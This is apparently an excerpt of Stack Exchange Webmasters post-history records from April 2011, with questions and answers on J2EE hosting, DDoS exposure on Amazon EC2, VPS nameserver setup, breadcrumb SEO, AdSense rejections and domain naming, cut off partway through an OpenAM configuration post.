  <row Id="27468" PostHistoryTypeId="1" PostId="12062" RevisionGUID="a1ca406c-4866-4f2f-8709-cdbd559edaee" CreationDate="2011-04-12T04:04:05.490" UserDisplayName="vengateswaran c" Text="Host a j2ee application on Tomcat externally" />
  <row Id="27469" PostHistoryTypeId="3" PostId="12062" RevisionGUID="a1ca406c-4866-4f2f-8709-cdbd559edaee" CreationDate="2011-04-12T04:04:05.490" UserDisplayName="vengateswaran c" Text="&lt;service&gt;&lt;hosting&gt;" />
  <row Id="27470" PostHistoryTypeId="17" PostId="12062" RevisionGUID="56eafce5-59db-4256-983e-f12437a95b8c" CreationDate="2011-04-12T04:16:44.007" UserId="-1" Comment="from http://stackoverflow.com/questions/5630278/host-a-j2ee-application-on-tomcat-externally" Text="" />
  <row Id="27471" PostHistoryTypeId="2" PostId="12063" RevisionGUID="2151024b-f2b3-4756-b359-99eb6a2e133d" CreationDate="2011-04-12T04:21:04.410" UserId="6771" Text="Yea you just have to be creative. Also check other domain extensions like .me or .co which are becoming more popular.&#xD;&#xA;&#xD;&#xA;Say you're web app is about food - try domains like foodzen.com or foodniche.com, etc, etc." />
  <row Id="27472" PostHistoryTypeId="2" PostId="12064" RevisionGUID="014f7aa8-1ab4-4e1a-a9b2-bdfe556a49ff" CreationDate="2011-04-12T04:42:50.723" UserId="1463" Text="[Reading][1] how an online news portal [Sarawak Report][2] was under massive, well-funded, sophisticated DDOS attack and unable to function as normal, I wonder what should normal webmasters do in the light of such an event.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Do you think that if I host my web app at Amazon EC2/S3, then I am safe from DDOS? I thought that Amazon ( or Google App Engine) should have a better security measure, and better idea on how to stop this kind of abuse.&#xD;&#xA;&#xD;&#xA;What do you think?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.themalaysianinsider.com/malaysia/article/sarawak-report-on-the-run-after-cyber-attacks/&#xD;&#xA;  [2]: http://www.sarawakreport.org" />
  <row Id="27473" PostHistoryTypeId="1" PostId="12064" RevisionGUID="014f7aa8-1ab4-4e1a-a9b2-bdfe556a49ff" CreationDate="2011-04-12T04:42:50.723" UserId="1463" Text="Is Hosting My Web Apps at Amazon EC2/S3 an Adequate Defense Against DDOS?" />
  <row Id="27474" PostHistoryTypeId="3" PostId="12064" RevisionGUID="014f7aa8-1ab4-4e1a-a9b2-bdfe556a49ff" CreationDate="2011-04-12T04:42:50.723" UserId="1463" Text="&lt;botattack&gt;" />
  <row Id="27475" PostHistoryTypeId="5" PostId="11934" RevisionGUID="ecc8bcf1-cb91-4f8f-9589-c431e98ca1d1" CreationDate="2011-04-12T05:40:57.787" UserId="2044" Comment="added 195 characters in body; added 627 characters in body" Text="i have recently signuped knownhost vps package. my account has been setup in their part. They want me to create ns1.outsourcingnepal.com and ns2.outsourcingnepal.com in my registar and point to their given ip address.&#xD;&#xA;&#xD;&#xA;i checked my registar site... i can change the dns info and other too but where do i create those two add and add the ips?&#xD;&#xA;&#xD;&#xA;My domain name: outsourcingnepal.com&#xD;&#xA;My registar: Public domain registry.[ known via betterwhois.com]&#xD;&#xA;   I registered it through my nearby company Simrik Solutions&#xD;&#xA;&#xD;&#xA;Updates:&#xD;&#xA;I have my name servers set to:  &#xD;&#xA;ns1.simriksolutions.info  &#xD;&#xA;ns2.simriksolutions.info  &#xD;&#xA;&#xD;&#xA;I have set my A Record to:  &#xD;&#xA;name:  outsourcingnepal.com&#xD;&#xA;value: ip given by knownhost&#xD;&#xA;&#xD;&#xA;I have set my NS Records:  &#xD;&#xA;Sr No 	  	    Record Id 	  	    Name 	  	    Value 	  	    Status 	 &#xD;&#xA;&#xD;&#xA;1 	  	10318811 	  	outsourcingnepal.com 	  	ns1.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;2 	  	10318812 	  	outsourcingnepal.com 	  	ns2.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;3 	  	10318813 	  	outsourcingnepal.com 	  	ns3.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;4 	  	10318814 	  	outsourcingnepal.com 	  	ns4.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;5 	  	     10321078 	  	outsourcingnepal.com 	  	ns1.outsourcingnepal.com 	  	Active 	 &#xD;&#xA;&#xD;&#xA;6 	  	     10321080 	  	outsourcingnepal.com 	  	ns2.outsourcingnepal.com 	  	Active 	 &#xD;&#xA;" />
  <row Id="27476" PostHistoryTypeId="25" PostId="12062" RevisionGUID="0129774b-b4a3-4472-9020-4d467681e754" CreationDate="2011-04-12T06:09:09.617" Comment="http://twitter.com/#!/StackWebmasters/status/57686675542913024" />
  <row Id="27479" PostHistoryTypeId="2" PostId="12067" RevisionGUID="da4c2e04-e578-4840-a608-0049fde8afdc" CreationDate="2011-04-12T08:07:11.233" UserId="4306" Text="No, hosting on Amazon EC2 is **not** adequate protection from DDoS.&#xD;&#xA;&#xD;&#xA;According to one of the AWS engineers, &quot;Once you have exposed your instance on a particular port (or set of ports and protocols) using EC2 authorize, there is **no explicit DDOS protection offered by EC2**.&quot;&#xD;&#xA;&#xD;&#xA;* https://forums.aws.amazon.com/thread.jspa?messageID=208949&#xD;&#xA;&#xD;&#xA;There is a well documented case where bitbucket.org was knocked off the web for most of a day because of a DDoS when they were hosted on EC2.  This is not pointing the finger at Amazon, but just to highlight that their cloud doesn't automatically make things perfect.  You can read Bitbucket's account of the attack here: &#xD;&#xA;&#xD;&#xA;* http://blog.bitbucket.org/2009/10/04/on-our-extended-downtime-amazon-and-whats-coming/&#xD;&#xA;&#xD;&#xA;Having said that, there are lots of resources available on the Amazon forums on how to protect yourself from and mitigate the effects of DDoS attacks.  Some of the techniques apply to any web architecture, some are specific to AWS.  Plenty of reading for you here:&#xD;&#xA;&#xD;&#xA;* https://forums.aws.amazon.com/search.jspa?objID=f30&amp;q=ddos" />
  <row Id="27480" PostHistoryTypeId="5" PostId="12004" RevisionGUID="a3901d84-6521-41a4-8070-c4a746fb0249" CreationDate="2011-04-12T08:38:11.650" UserId="5739" Comment="Added additional info on creating the nameservers on a VPS" Text="You just need to change the nameservers on your domain record to ns1.outsourcingnepal.com &amp; ns2.outsourcingnepal.com then the VPS will take care of everything else.&#xD;&#xA;&#xD;&#xA;Currently they are set to:&#xD;&#xA;&#xD;&#xA;    ns1.simriksolutions.info&#xD;&#xA;    ns2.simriksolutions.info&#xD;&#xA;&#xD;&#xA;**EDIT:**&#xD;&#xA;You also need to set up the nameservers on your VPS.&#xD;&#xA;&#xD;&#xA;I'm assuming you have WHM here? Open http://IP/whm then go to IP Functions &gt;&gt; show IP address usage &amp; check your primary and secondary IP Address.&#xD;&#xA;&#xD;&#xA;You **will** need to register nameservers first from registrar end. Login to your registrar’s domain control panel and register the name server or *ask them to register the private name server for your domain*.&#xD;&#xA;&#xD;&#xA;ie:&#xD;&#xA;&#xD;&#xA; - ns1.outsourcingnepal.com – the Default IP Of your server&#xD;&#xA; - ns2.outsourcingnepal.com – Secondary IP or free IP&#xD;&#xA;&#xD;&#xA;Go to http://IP/whm &gt;&gt; Basic cPanel/WHM Setup and scroll down to Primary Nameserver ns1.outsourcingnepal.com &amp; click on “Assign IP address” and then “Add an A entry for this name server”. Then do the same for ns2.&#xD;&#xA;&#xD;&#xA;Once all done you can check if your nameservers are resolving ok at http://www.dnsstuff.com/tools/lookup.ch?name=ns1.outsourcingnepal.com&amp;type=A&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27482" PostHistoryTypeId="25" PostId="12064" RevisionGUID="6a4e4bd5-2862-4dcb-95e6-a149c2d2651f" CreationDate="2011-04-12T09:09:09.787" Comment="http://twitter.com/#!/StackWebmasters/status/57731973740888064" />
  <row Id="27483" PostHistoryTypeId="5" PostId="12044" RevisionGUID="038d7160-2434-4c6e-845b-f8190aefdf4f" CreationDate="2011-04-12T09:12:52.233" UserId="3610" Comment="added 498 characters in body" Text="Is there any precedent or testing of using a breadcrumb list of separate links (and current page text) within an h1 and search engine algorithms?&#xD;&#xA;&#xD;&#xA;I'm using nested navigation on a travel site. So imagine a breadcrumb might be:&#xD;&#xA;&#xD;&#xA;    &lt;a&gt;Great Britain&lt;/a&gt;&lt;a&gt;London&lt;/a&gt;&lt;a&gt;Leicester Square&lt;/a&gt;&lt;b&gt;Photo Gallery&lt;/b&gt;&#xD;&#xA;&#xD;&#xA;In this instance this would be a descriptive, though perhaps dubious in density, header. In the end I went a different path but I would be interested to hear if this would be acceptable. Disregarding the content of my example, would such a header be acceptable to web crawlers. I guess it's safe to assume it's not valid xhtml." />
  <row Id="27484" PostHistoryTypeId="2" PostId="12069" RevisionGUID="09eb383f-fe22-43f7-b1e5-d8fc8f273ef5" CreationDate="2011-04-12T09:31:25.827" UserId="4461" Text="It sounds like your implementation is quite flawed. You should research best practice methods for serving mobile optimized content (using device detection - not cloaking, canonical link element) etc, rather trying to band-aid your current situation.&#xD;&#xA;&#xD;&#xA;Try looking at:&#xD;&#xA;&#xD;&#xA; - https://www.google.com/support/webmasters/bin/answer.py?answer=35312&#xD;&#xA; - http://googlewebmastercentral.blogspot.com/2009/11/running-desktop-and-mobile-versions-of.html&#xD;&#xA; - http://googlewebmastercentral.blogspot.com/2011/02/making-websites-mobile-friendly.html" />
  <row Id="27485" PostHistoryTypeId="5" PostId="12004" RevisionGUID="d674a18f-d840-4c8b-8d3a-1ebb47bc602e" CreationDate="2011-04-12T09:38:01.733" UserId="5739" Comment="Edited to better reflect questions/answers in the comments from the OP." Text="There are several steps to this process:&#xD;&#xA;&#xD;&#xA; 1. Find your server IP's&#xD;&#xA; 2. Register your Nameservers&#xD;&#xA; 3. Add nameservers to your VPS &#xD;&#xA; 4. Add your nameservers to the domain records.&#xD;&#xA;&#xD;&#xA;**1) Find your server IP's** &#xD;&#xA;&#xD;&#xA;I'm assuming you have WHM here? Open http://IP/whm (or the path to your server control panel installation) then go to IP Functions &gt;&gt; show IP address usage &amp; check your primary and secondary IP Address. Make a note of these two IP's&#xD;&#xA;&#xD;&#xA;**2) Register your Nameservers**&#xD;&#xA;&#xD;&#xA;You need to register your nameservers with your Registrar. Login to your registrar’s control panel and register the name servers. This is often called &quot;Child Name Servers&quot; (See: http://i55.tinypic.com/2lu2q2t.png for an example) or if this option isn't available, ask them to &quot;register the name servers&quot; for you.&#xD;&#xA;&#xD;&#xA;ie:&#xD;&#xA;&#xD;&#xA; - ns1.yourdomainname.tld – the Default IP of your server&#xD;&#xA; - ns2.yourdomainname.tld – Secondary IP or free IP&#xD;&#xA;&#xD;&#xA;**3) Add nameservers to your VPS** &#xD;&#xA;&#xD;&#xA;Returning to your VPS Control Panel, Go to http://IP/whm &gt;&gt; Basic cPanel/WHM Setup and scroll down to Primary Nameserver ns1.outsourcingnepal.com &amp; click on “Assign IP address” and then “Add an A entry for this name server”. Then do the same for ns2.&#xD;&#xA;&#xD;&#xA;Once all done you can check if your nameservers are resolving ok at http://www.dnsstuff.com/tools/lookup.ch?name=ns1.outsourcingnepal.com&amp;type=A&#xD;&#xA;&#xD;&#xA;**4) Add your nameservers to the domain records.**&#xD;&#xA;&#xD;&#xA;Now you have fully working nameservers you can start changing the domain records for the domains you own to use your nameservers.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27486" PostHistoryTypeId="5" PostId="11934" RevisionGUID="4d317045-657e-4c95-80f0-2cabde33dfa9" CreationDate="2011-04-12T09:38:49.667" UserId="2044" Comment="added 865 characters in body" Text="i have recently signuped knownhost vps package. my account has been setup in their part. They want me to create ns1.outsourcingnepal.com and ns2.outsourcingnepal.com in my registar and point to their given ip address.&#xD;&#xA;&#xD;&#xA;i checked my registar site... i can change the dns info and other too but where do i create those two add and add the ips?&#xD;&#xA;&#xD;&#xA;My domain name: outsourcingnepal.com&#xD;&#xA;My registar: Public domain registry.[ known via betterwhois.com]&#xD;&#xA;   I registered it through my nearby company Simrik Solutions&#xD;&#xA;&#xD;&#xA;Updates:&#xD;&#xA;I have my name servers set to:  &#xD;&#xA;ns1.simriksolutions.info  &#xD;&#xA;ns2.simriksolutions.info  &#xD;&#xA;&#xD;&#xA;I have set my A Record to:  &#xD;&#xA;name:  outsourcingnepal.com&#xD;&#xA;value: ip given by knownhost&#xD;&#xA;&#xD;&#xA;I have set my NS Records:  &#xD;&#xA;Sr No 	  	    Record Id 	  	    Name 	  	    Value 	  	    Status 	 &#xD;&#xA;&#xD;&#xA;1 	  	10318811 	  	outsourcingnepal.com 	  	ns1.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;2 	  	10318812 	  	outsourcingnepal.com 	  	ns2.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;3 	  	10318813 	  	outsourcingnepal.com 	  	ns3.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;4 	  	10318814 	  	outsourcingnepal.com 	  	ns4.simriksolutions.info 	  	Active 	 &#xD;&#xA;&#xD;&#xA;5 	  	     10321078 	  	outsourcingnepal.com 	  	ns1.outsourcingnepal.com 	  	Active 	 &#xD;&#xA;&#xD;&#xA;6 	  	     10321080 	  	outsourcingnepal.com 	  	ns2.outsourcingnepal.com 	  	Active 	 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Updates:**&#xD;&#xA;I updated the child name server. I even added the http://outsourcingnepal.com account in WHM of knownhost too.&#xD;&#xA;&#xD;&#xA;Now I am getting the following DNS Lookup result:&#xD;&#xA;http://www.domaintools.com/research/dns/?query=outsourcingnepal.com&amp;search=dns&#xD;&#xA;&#xD;&#xA;Outsourcingnepal.com DNS Lookup&#xD;&#xA;;; Answer received from 127.0.0.1 (90 bytes)&#xD;&#xA;;;&#xD;&#xA;;; HEADER SECTION&#xD;&#xA;;; id = 5049&#xD;&#xA;;; qr = 1 opcode = QUERY aa = 0 tc = 0 rd = 1&#xD;&#xA;;; ra = 1 ad = 0 cd = 0 rcode = NOERROR&#xD;&#xA;;; qdcount = 1 ancount = 1 nscount = 2 arcount = 0&#xD;&#xA;&#xD;&#xA;;; QUESTION SECTION (1 record)&#xD;&#xA;;; outsourcingnepal.com.	IN	A&#xD;&#xA;&#xD;&#xA;;; ANSWER SECTION (1 record)&#xD;&#xA;outsourcingnepal.com.	13495	IN	A	204.197.252.160&#xD;&#xA;&#xD;&#xA;;; AUTHORITY SECTION (2 records)&#xD;&#xA;outsourcingnepal.com.	85495	IN	NS	ns1.outsourcingnepal.com.&#xD;&#xA;outsourcingnepal.com.	85495	IN	NS	ns2.outsourcingnepal.com.&#xD;&#xA;&#xD;&#xA;;; ADDITIONAL SECTION (0 records)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27487" PostHistoryTypeId="6" PostId="11934" RevisionGUID="80403722-a739-44c8-8bff-c7033b39dfba" CreationDate="2011-04-12T09:39:30.093" UserId="5739" Comment="edited tags" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;registrar&gt;&lt;vps&gt;&lt;name-servers&gt;" />
  <row Id="27488" PostHistoryTypeId="5" PostId="12004" RevisionGUID="96327050-c2a7-4673-a890-5bd2d609f4c4" CreationDate="2011-04-12T09:57:16.467" UserId="5739" Comment="Added a couple of useful sites for checking DNS." Text="There are several steps to this process:&#xD;&#xA;&#xD;&#xA; 1. Find your server IP's&#xD;&#xA; 2. Register your Nameservers&#xD;&#xA; 3. Add nameservers to your VPS &#xD;&#xA; 4. Add your nameservers to the domain records.&#xD;&#xA;&#xD;&#xA;**1) Find your server IP's** &#xD;&#xA;&#xD;&#xA;I'm assuming you have WHM here? Open http://IP/whm (or the path to your server control panel installation) then go to IP Functions &gt;&gt; show IP address usage &amp; check your primary and secondary IP Address. Make a note of these two IP's&#xD;&#xA;&#xD;&#xA;**2) Register your Nameservers**&#xD;&#xA;&#xD;&#xA;You need to register your nameservers with your Registrar. Login to your registrar’s control panel and register the name servers. This is often called &quot;Child Name Servers&quot; (See: http://i55.tinypic.com/2lu2q2t.png for an example) or if this option isn't available, ask them to &quot;register the name servers&quot; for you.&#xD;&#xA;&#xD;&#xA;Note: As with all DNS, this can sometimes take time to propagate.&#xD;&#xA;&#xD;&#xA;ie:&#xD;&#xA;&#xD;&#xA; - ns1.yourdomainname.tld – the Default IP of your server&#xD;&#xA; - ns2.yourdomainname.tld – Secondary IP or free IP&#xD;&#xA;&#xD;&#xA;**3) Add nameservers to your VPS** &#xD;&#xA;&#xD;&#xA;Returning to your VPS Control Panel, Go to http://IP/whm &gt;&gt; Basic cPanel/WHM Setup and scroll down to Primary Nameserver ns1.outsourcingnepal.com &amp; click on “Assign IP address” and then “Add an A entry for this name server”. Then do the same for ns2.&#xD;&#xA;&#xD;&#xA;Once all done you can check if your nameservers are resolving ok at http://www.dnsstuff.com/tools/lookup.ch?name=ns1.outsourcingnepal.com&amp;type=A&#xD;&#xA;&#xD;&#xA;**4) Add your nameservers to the domain records.**&#xD;&#xA;&#xD;&#xA;Now you have fully working nameservers you can start changing the domain records for the domains you own to use your nameservers.&#xD;&#xA;&#xD;&#xA;Some of my favourite useful sites for checking DNS are:&#xD;&#xA;&#xD;&#xA;[Squish.net dns checker][1] &#xD;&#xA;Complete DNS traversal from the root examining all possible routes that a client could travel, calculating percentage probabilities on the way.&#xD;&#xA;&#xD;&#xA;[Domain Tools][2] Very useful site. USe it all the time.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.squish.net/dnscheck/&#xD;&#xA;  [2]: http://whois.domaintools.com/" />
  <row Id="27490" PostHistoryTypeId="2" PostId="12071" RevisionGUID="ea0d9267-c2e7-4875-8988-90ba1c154ba5" CreationDate="2011-04-12T10:25:44.137" UserId="1643" Text="[Yahoo Pipes][1] lets you join together various RSS feeds.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pipes.yahoo.com/pipes/" />
  <row Id="27491" PostHistoryTypeId="2" PostId="12072" RevisionGUID="52235737-ba98-4ef1-ab00-0a109f1378dd" CreationDate="2011-04-12T10:41:26.770" UserId="6774" Text="My best experience has been using local developers(craigslist) in the same city. Odesk for programming, E-commerce, Python, Perl. " />
  <row Id="27492" PostHistoryTypeId="2" PostId="12073" RevisionGUID="9213002b-3703-48ae-88f5-c9ca911adada" CreationDate="2011-04-12T11:01:45.450" UserId="6776" Text="My site submission to Adsense keeps getting rejected by Google bot within an hour with blank reason and details(my first submission on Sunday, this time). When I raised it in Adsense forum, they have me mailed reason - site was down or unavailable.&lt;br&gt;&#xD;&#xA;&lt;br&gt;I submitted a couple of times since Sunday but it gets rejected.&#xD;&#xA;First time my site was rejected due to navigational issues which I corrected. Second time came &quot;Unacceptable contet&quot;. I then added Privacy policy &amp; TOS. &lt;br&gt;&lt;br&gt;Now all other advertising companies have accepted my site including Citika &amp; Adbrite. What should I do now?&#xD;&#xA;I've another site coming up for approval in Adsense. Should I apply from my father's name?&#xD;&#xA;&#xD;&#xA;**Rejection message:**&#xD;&#xA;&gt; We did not approve your application&#xD;&#xA;&gt; for the reasons listed below.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Issues:&#xD;&#xA;&gt; &#xD;&#xA;&gt; ---------------------&#xD;&#xA;&gt; &#xD;&#xA;&gt; Further detail:&#xD;&#xA;&gt; &#xD;&#xA;&gt; ---------------------&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27493" PostHistoryTypeId="1" PostId="12073" RevisionGUID="9213002b-3703-48ae-88f5-c9ca911adada" CreationDate="2011-04-12T11:01:45.450" UserId="6776" Text="My site keeps getting rejected by a bot with empty reason &amp; details" />
  <row Id="27494" PostHistoryTypeId="3" PostId="12073" RevisionGUID="9213002b-3703-48ae-88f5-c9ca911adada" CreationDate="2011-04-12T11:01:45.450" UserId="6776" Text="&lt;google-adsense&gt;" />
  <row Id="27495" PostHistoryTypeId="5" PostId="12062" RevisionGUID="afc0d1f8-fec2-4f30-a86a-22912181d64c" CreationDate="2011-04-12T11:05:15.940" UserId="3922" Comment="spelling &amp; grammar" Text="I'm planning to deploy a Web application which I want to expose to all people on internet. I can buy a domain name, and redirect it to a public host which hosts my J2EE application. &#xD;&#xA;Whom should I choose for hosting my web app? What are my hosting options? I want good performance for better user experience.  And price is definitely a concern.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27496" PostHistoryTypeId="4" PostId="12062" RevisionGUID="afc0d1f8-fec2-4f30-a86a-22912181d64c" CreationDate="2011-04-12T11:05:15.940" UserId="3922" Comment="spelling &amp; grammar" Text="Host a J2EE application on Tomcat externally" />
  <row Id="27497" PostHistoryTypeId="24" PostId="12062" RevisionGUID="afc0d1f8-fec2-4f30-a86a-22912181d64c" CreationDate="2011-04-12T11:05:15.940" Comment="Proposed by 3922 approved by 1064 edit id of 108" />
  <row Id="27499" PostHistoryTypeId="2" PostId="12074" RevisionGUID="fa0dd0fe-8401-4c24-9844-71bfff50d18a" CreationDate="2011-04-12T11:25:19.477" UserId="6776" Text="I've found two keyword search from Google keyword tool:&#xD;&#xA;&#xD;&#xA;- &quot;K1 run&quot;   (Phrase match,320,000 local monthly searches)&#xD;&#xA;- &quot;K2 run&quot;   (75,000 local monthly searches)&#xD;&#xA;&#xD;&#xA;K1,K2 are not dictionary word while run is.&#xD;&#xA;&#xD;&#xA;Will it be ok to register domain: **K1runK2run**?&#xD;&#xA;&#xD;&#xA;Or should I go with **K1K2run** ?" />
  <row Id="27500" PostHistoryTypeId="1" PostId="12074" RevisionGUID="fa0dd0fe-8401-4c24-9844-71bfff50d18a" CreationDate="2011-04-12T11:25:19.477" UserId="6776" Text="Domain name coining issue" />
  <row Id="27501" PostHistoryTypeId="3" PostId="12074" RevisionGUID="fa0dd0fe-8401-4c24-9844-71bfff50d18a" CreationDate="2011-04-12T11:25:19.477" UserId="6776" Text="&lt;domains&gt;&lt;name&gt;" />
  <row Id="27502" PostHistoryTypeId="2" PostId="12075" RevisionGUID="bcc80b00-033d-43c6-be8f-71259047f46a" CreationDate="2011-04-12T11:42:32.007" UserId="1253" Text="1) There's more to search engines in the world. Which do you think would make more sense to your actual users? I think k1k2run.&#xD;&#xA;&#xD;&#xA;2) Doubling the keyword in the domain name probably doesn't benefit you at all. People will probably talk about keyword density and other stuff like that. But I would think the search engines are well aware of keyword stuffing and it applies to domain names as well." />
  <row Id="27503" PostHistoryTypeId="2" PostId="12076" RevisionGUID="add2631a-e6fe-4489-ab1a-0e76db834b5d" CreationDate="2011-04-12T11:49:02.207" UserId="1253" Text="If you want to optimize your breadcrumbs for SEO use [semantic markup][1] or [microformats][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.quora.com/Which-is-the-best-way-to-markup-semantically-breadcrumbs-in-HTML&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?&amp;answer=185417" />
  <row Id="27504" PostHistoryTypeId="2" PostId="12077" RevisionGUID="66d6964f-b68b-4d9e-920d-971ccfcb2d5e" CreationDate="2011-04-12T12:04:00.523" UserId="4142" Text="I would say no. The semantic meaning of headers, H1 especially, doesn't really lend itself to breadcrumb navigation at all. I'm not sure how strictly search engines adhere to this, but having that many terms in your heading would look awfully spammy.&#xD;&#xA;&#xD;&#xA;I'd say keeping it in a standard [un]ordered list would be best, or even wrapping it in a nav element (which is new to HTML5), which search engines should pick up just fine.&#xD;&#xA;&#xD;&#xA;It'd be an interesting experiment to try on a test site, though..." />
  <row Id="27505" PostHistoryTypeId="25" PostId="12074" RevisionGUID="4d1de4bd-579a-4a46-a10b-39285ddfbcb6" CreationDate="2011-04-12T12:09:09.860" Comment="http://twitter.com/#!/StackWebmasters/status/57777272974868480" />
  <row Id="27506" PostHistoryTypeId="2" PostId="12078" RevisionGUID="a9c29d3c-8f73-494c-84b8-f29cc5659509" CreationDate="2011-04-12T12:55:00.700" UserId="5464" Text="i would consider adding a rel canonical tag to the mobile pages which points back to the main site. " />
  <row Id="27507" PostHistoryTypeId="17" PostId="12080" RevisionGUID="24dd8380-5dcc-4bd8-ba51-43974cf900c1" CreationDate="2011-04-12T12:59:05.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5635364/how-to-get-a-new-adsense-account/5635520#5635520" Text="" />
  <row Id="27508" PostHistoryTypeId="2" PostId="12080" RevisionGUID="b2d5da08-aa80-41b3-8e13-3dd886272d39" CreationDate="2011-04-12T12:55:50.223" UserDisplayName="Spudley" Text="go to http://adsense.google.com/ and sign up." />
  <row Id="27509" PostHistoryTypeId="2" PostId="12079" RevisionGUID="927370fe-b914-4571-ab1d-8735e6097990" CreationDate="2011-04-12T12:43:52.740" UserDisplayName="Teesra" Text="I have a websites related to [cricket][1] and [advertising][2]. How can I apply for google adsense?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cricindian.com&#xD;&#xA;  [2]: http://www.inforiya.com/" />
  <row Id="27510" PostHistoryTypeId="1" PostId="12079" RevisionGUID="927370fe-b914-4571-ab1d-8735e6097990" CreationDate="2011-04-12T12:43:52.740" UserDisplayName="Teesra" Text="How to get a new Adsense account?" />
  <row Id="27511" PostHistoryTypeId="3" PostId="12079" RevisionGUID="927370fe-b914-4571-ab1d-8735e6097990" CreationDate="2011-04-12T12:43:52.740" UserDisplayName="Teesra" Text="&lt;drupal&gt;&lt;joomla&gt;" />
  <row Id="27512" PostHistoryTypeId="17" PostId="12079" RevisionGUID="e6c43174-4e43-4b12-b115-45cdad8fef22" CreationDate="2011-04-12T12:59:05.887" UserId="-1" Comment="from http://stackoverflow.com/questions/5635364/how-to-get-a-new-adsense-account" Text="" />
  <row Id="27521" PostHistoryTypeId="2" PostId="12081" RevisionGUID="a19e4079-a4a7-4c62-bae6-66a99bcb82d9" CreationDate="2011-04-12T13:15:38.123" UserId="6778" Text="Does anyone know whether Google makes use of the information it obtains via Google analytics in ranking of search results? &#xD;&#xA;&#xD;&#xA;Does it, for instance, make use of the bounce rate for a page given a certain search term? If you have a high bounce rate (information Google would not have been able to obtain without Analytics), would this negatively impact your ranking?&#xD;&#xA;&#xD;&#xA;This is especially relevant to me, since I'm running a web application that has only one main page. Therefore, users might stay on that page for a long time, but the bounce rate will always be close to 100% - that's not something I'm able (or willing) to change." />
  <row Id="27522" PostHistoryTypeId="1" PostId="12081" RevisionGUID="a19e4079-a4a7-4c62-bae6-66a99bcb82d9" CreationDate="2011-04-12T13:15:38.123" UserId="6778" Text="Does Google use Google Analytics information in its search algorithms?" />
  <row Id="27523" PostHistoryTypeId="3" PostId="12081" RevisionGUID="a19e4079-a4a7-4c62-bae6-66a99bcb82d9" CreationDate="2011-04-12T13:15:38.123" UserId="6778" Text="&lt;google&gt;&lt;google-analytics&gt;&lt;google-webmaster-tools&gt;&lt;google-ranking&gt;" />
  <row Id="27524" PostHistoryTypeId="2" PostId="12082" RevisionGUID="abca51d6-6c10-41dd-ad5d-481f9d106818" CreationDate="2011-04-12T13:28:06.650" UserId="1253" Text="I highly doubt it. Since not only can stats be faked with bots but since only a small percentage of websites actually use Google Analytics it means they would have an incomplete set of data which would make it unreliable and incomplete. " />
  <row Id="27525" PostHistoryTypeId="5" PostId="12082" RevisionGUID="87a0710f-1c29-49a5-ac3f-de2cb3c61d3a" CreationDate="2011-04-12T13:33:45.587" UserId="1253" Comment="added 425 characters in body" Text="I highly doubt it. Since not only can stats be faked and manipulated easily with bots but since only a small percentage of websites actually use Google Analytics it means they would have an incomplete set of data. Sites that don't use it and are doing poorly would have an advantage of sites that do use it and do poorly since Google would only know that the site using GA is actually doing poorly.&#xD;&#xA;&#xD;&#xA;Keep in mind that this doesn't mean that Google doesn't mine that data to learn from it. I am sure they use it help them figure out how users are using websites which helps them refine their algorithm and I'm sure they use it to help improve their ad networks." />
  <row Id="27526" PostHistoryTypeId="2" PostId="12083" RevisionGUID="ef9d44a7-9b3e-4f84-b2d0-44a264b1c7bf" CreationDate="2011-04-12T13:54:44.970" UserId="6596" Text="Thanks for helping me during this aventure,&#xD;&#xA;&#xD;&#xA;So, I did some tests :&#xD;&#xA;&#xD;&#xA;On ubuntu (@Home || @Work on a VM) :&#xD;&#xA;&#xD;&#xA;    OpenAM (default configuration) + GateIn Tomcat : OK&#xD;&#xA;    OpenAM (default configuration) + GateIn JBoss : OK&#xD;&#xA;    OpenAM (default configuration) + ExoPlatform : OK&#xD;&#xA;    OpenAM (manual configuration) + GateIn Tomcat : OK&#xD;&#xA;    OpenAM (manual configuration) + GateIn JBoss : OK&#xD;&#xA;    OpenAM (manual configuration) + ExoPlatform : OK&#xD;&#xA;&#xD;&#xA;On Windows :&#xD;&#xA;&#xD;&#xA;    OpenAM (default configuration) : Impossible to install it, there is an existing GIRA for this point.&#xD;&#xA;    OpenAM (manual configuration) + GateIn Tomcat : KO, cf. point 4.&#xD;&#xA;    OpenAM (manual configuration) + GateIn JBoss : KO, cf. point 4.&#xD;&#xA;    OpenAM (manual configuration) + ExoPlatform : KO, cf. point 4.&#xD;&#xA;&#xD;&#xA;Note : 1) The difference between the manual and the default configuration is the domain name. All my tests are on a local machine. In the default configuration, OpenAM use the domain name &quot;localhost&quot; contrary to the manual configuration where you can't choose the domain name. In this case, I've chosen a domain name that points on the localhost (in Windows, I modified the hosts file for example and added a domain name for 127.0.0.1)&#xD;&#xA;&#xD;&#xA;2) I tested ExoPlatform because GateIn have some similar codes since GateIn comes from ExoPlatform and JBoss Portal.&#xD;&#xA;&#xD;&#xA;3) In the documentation, the syntax of the jaas.conf file is false, the right way to write it is :&#xD;&#xA;&#xD;&#xA;gatein-domain {&#xD;&#xA;&#xD;&#xA;  // org.exoplatform.web.security.PortalLoginModule required;&#xD;&#xA;&#xD;&#xA;  // org.exoplatform.services.security.jaas.SharedStateLoginModule required;&#xD;&#xA;&#xD;&#xA;  // 